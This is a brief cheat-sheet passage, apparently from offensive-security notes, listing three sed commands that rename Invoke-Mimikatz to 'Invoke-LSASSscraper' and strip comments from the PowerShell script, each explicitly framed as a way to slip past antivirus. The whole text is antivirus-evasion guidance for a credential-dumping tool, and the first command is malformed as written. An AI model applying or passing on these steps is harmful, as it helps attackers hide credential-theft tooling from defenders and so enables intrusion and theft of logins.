The following will change Invoke-Mimikatz into Invoke-LSASSscraper - Where Invoke-Mimikatz is what antivirus will pick up and Invoke-LSASSscraper is what will bypass antivirus

sed -i -e 'Invoke-Mimikatz/Invoke-LSASSscraper/g' Invoke-Mimikatz.ps1

The following will remove all comment blocks from a powershell file, helping to bypass AV

sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1

The following will help remove all comments from a powershell file, helping to bypass AV

sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1